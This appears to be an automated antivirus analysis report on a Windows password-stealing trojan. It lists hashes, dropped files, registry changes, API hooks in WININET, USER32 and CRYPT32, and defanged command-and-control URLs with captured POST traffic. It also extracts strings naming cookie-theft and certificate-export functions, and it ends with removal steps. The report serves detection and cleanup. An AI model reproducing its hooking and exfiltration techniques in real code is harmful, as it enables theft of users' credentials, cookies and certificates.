MD5: a32a416dfab22e2ed2bc802318d45452
SHA1: 44e9b584b5fc7043236bbab0711d857a2f101990
SHA256: 86a886e58e7ab7f8f6579a3299542a3754a2324dcce5e82e96945636d2fef089
SSDeep: 6144:lATObicsp3ftNr3A3P dAfGQJ31NqIg6fxW0GixWn:lAT6ici3VNrw3KEhxfBpfxrxc
Size: 294912 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: ItsReadyApp
Created at: 2014-05-19 05:11:42
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan-PSW creates the following process(es):

uqtu.exe:1344
%original file name%.exe:1800

The Trojan-PSW injects its code into the following process(es):

Explorer.EXE:840

File activity

The process %original file name%.exe:1800 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmp8bd1af1c.bat (177 bytes)
%Documents and Settings%\%current user%\Application Data\Owhefe\uqtu.exe (294 bytes)

Registry activity

The process uqtu.exe:1344 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1E 7F A1 A0 7D 9A 9F ED B7 11 CE 57 31 D1 1B 97"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process %original file name%.exe:1800 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7E F4 CB 94 85 0A 22 36 A2 08 80 61 AE 13 AD 29"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan-PSW installs the following user-mode hooks in WINMM.dll:

PlaySoundW

The Trojan-PSW installs the following user-mode hooks in WININET.dll:

HttpEndRequestW
HttpEndRequestA
HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetSetFilePointer
InternetQueryDataAvailable
HttpOpenRequestW
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle
HttpOpenRequestA

The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan-PSW installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan-PSW installs the following user-mode hooks in ADVAPI32.dll:

CreateProcessAsUserA
CreateProcessAsUserW

The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:

WSASend
gethostbyname
send
closesocket
getaddrinfo

The Trojan-PSW installs the following user-mode hooks in kernel32.dll:

ExitProcess
GetFileAttributesExW

The Trojan-PSW installs the following user-mode hooks in ntdll.dll:

NtCreateThread

Propagation

VersionInfo

Company Name: Jetico, Inc.
Product Name: Jetico, Inc. BCResident
Product Version: 2.11.8
Legal Copyright: Copyright (c) 1997-2011
Legal Trademarks:
Original Filename: BCResident.exe
Internal Name: BCResident
File Version: 2.11.8
File Description: BCResident
Comments:
Language: Language Neutral

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://87.236.102.249/stnxhje/file.php
hxxp://www.slangenhaken.nl/stnxhje/file.php

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Generic - POST To .php w/Extended ASCII Characters
ET TROJAN Generic -POST To file.php w/Extended ASCII Characters

Traffic

POST /stnxhje/file.php HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.slangenhaken.nl

Content-Length: 131

Connection: Keep-Alive

Cache-Control: no-cache

..S.vs.......>.2.Z.g.N...N.....K.<I.......P.JN....K..../.A........m.1.s......Z..q[...0tQ?..$....H.....\.f....5.U1.\.Q*.

O. Fc.(.y.
HTTP/1.1 301 Moved Permanently

Date: Sun, 01 Jun 2014 05:14:37 GMT

Server: Apache/2

Location: hXXps://VVV.slangenhaken.nl/stnxhje/file.php

Content-Length: 323

Keep-Alive: timeout=1, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXps://VVV.slangenhaken.nl/stnxhje/file
.php">here</a>.</p>.<hr>.<address>Apache/2 
Server at VVV.slangenhaken.nl Port 80</address>.</body><
;/html>...

POST /stnxhje/file.php HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.slangenhaken.nl

Content-Length: 131

Connection: Keep-Alive

Cache-Control: no-cache

..S.vs.......>.2.Z.g.N...N.....K.<I.......P.JN....K..../.A........m.1.s......Z..q[...0tQ?..$....H.....\.f....5.U1.\.Q*.

O. Fc.(.y.
HTTP/1.1 301 Moved Permanently

Date: Sun, 01 Jun 2014 05:14:36 GMT

Server: Apache/2

Location: hXXps://VVV.slangenhaken.nl/stnxhje/file.php

Content-Length: 323

Keep-Alive: timeout=1, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXps://VVV.slangenhaken.nl/stnxhje/file
.php">here</a>.</p>.<hr>.<address>Apache/2 
Server at VVV.slangenhaken.nl Port 80</address>.</body><
;/html>...

The Trojan-PSW connects to the servers at the folowing location(s):

.text

`.data

.reloc

%s, u %s %u u:u:u GMT

HTTP/1.1

HTTP/1.0

http://

; charset=%s

HTTP/1.1 %u %s

Date: %s

Content-Length: %u

Expires: %s

Content-Type: %s%s

ID: %s

value_%s

value_%s_%s

%s = "%s";

update.exe

config.bin

PR_OpenTCPSocket

cit_ffcookie.module

cit_video.module

F@[D].PcS=Y9

%ds~U;MM

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

http://xxxxxxxx.com/xxxx/xxxx.php

%s%s%s

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

6;:5;66"

,1;(,; = 1

'472%9,{
F@ICTQ}cRTWAunO}mmts}NX~csgzn~)[jzyemer\]ika
8/3.xae4LOa
6 !26!1'1!
https://
HTTP/1.
facebook.com
Cookie: %s
Referer: %s
Accept: %s
Accept-Language: %s
Accept-Encoding: %s
_getFirefoxCookie
http://www.google.com/webhp
SSShD
SSShXe
SSShye
GetProcessHeap
CreatePipe
KERNEL32.dll
MsgWaitForMultipleObjects
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
SetKeyboardState
ExitWindowsEx
GetKeyboardState
MapVirtualKeyW
GetKeyboardLayoutList
USER32.dll
RegCreateKeyExW
RegOpenKeyExW
RegCloseKey
RegCreateKeyW
RegEnumKeyW
RegQueryInfoKeyW
RegEnumKeyExW
ADVAPI32.dll
UrlUnescapeA
SHDeleteKeyW
PathIsURLW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
PFXImportCertStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
HttpSendRequestExW
HttpSendRequestW
HttpOpenRequestA
HttpOpenRequestW
HttpEndRequestA
HttpSendRequestA
HttpEndRequestW
InternetCrackUrlA
HttpAddRequestHeadersW
GetUrlCacheEntryInfoW
HttpAddRequestHeadersA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
VERSION.dll
WINMM.dll
PSSSSSSh
l.bSw
/.GSc
3$3*30383
6|7k7u7
9 :1:::@:
42>204:4
sXXXX
nspr4.dll
chrome.dll
\StringFileInfo\xx\%s
ntdll.dll
kernel32.dll
"%s" %s
/c "%s"
%sx.%s
%sx
SELECT * FROM %s
Company: %s
Product: %s
Version: %s
Software\Microsoft\Windows\CurrentVersion\Uninstall
%u: %s | %s | %s
Global\XXX
SysShadow
Chrome
Firefox
%Documents and Settings%\%current user%\Application Data
{BFF5FDA4-C742-B43A-F8A6-8FFAF0EC7065}
%Documents and Settings%\%current user%\Application Data\Zayr\ebima.nuw
%Documents and Settings%\%current user%\Application Data\Zayr
ebima.nuw
Global\{298E4F81-7567-2241-F8A6-8FFAF0EC7065}
%Documents and Settings%\%current user%\Application Data\Ruhyub\guyf.dog
%Documents and Settings%\%current user%\Application Data\Ruhyub
guyf.dog

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Scan a system with an anti-rootkit tool.
   
2. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   uqtu.exe:1344
   %original file name%.exe:1800
   

3. Delete the original Trojan-PSW file.
   
4. Delete or disinfect the following files created/modified by the Trojan-PSW:
   

   %Documents and Settings%\%current user%\Local Settings\Temp\tmp8bd1af1c.bat (177 bytes)
   %Documents and Settings%\%current user%\Application Data\Owhefe\uqtu.exe (294 bytes)

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.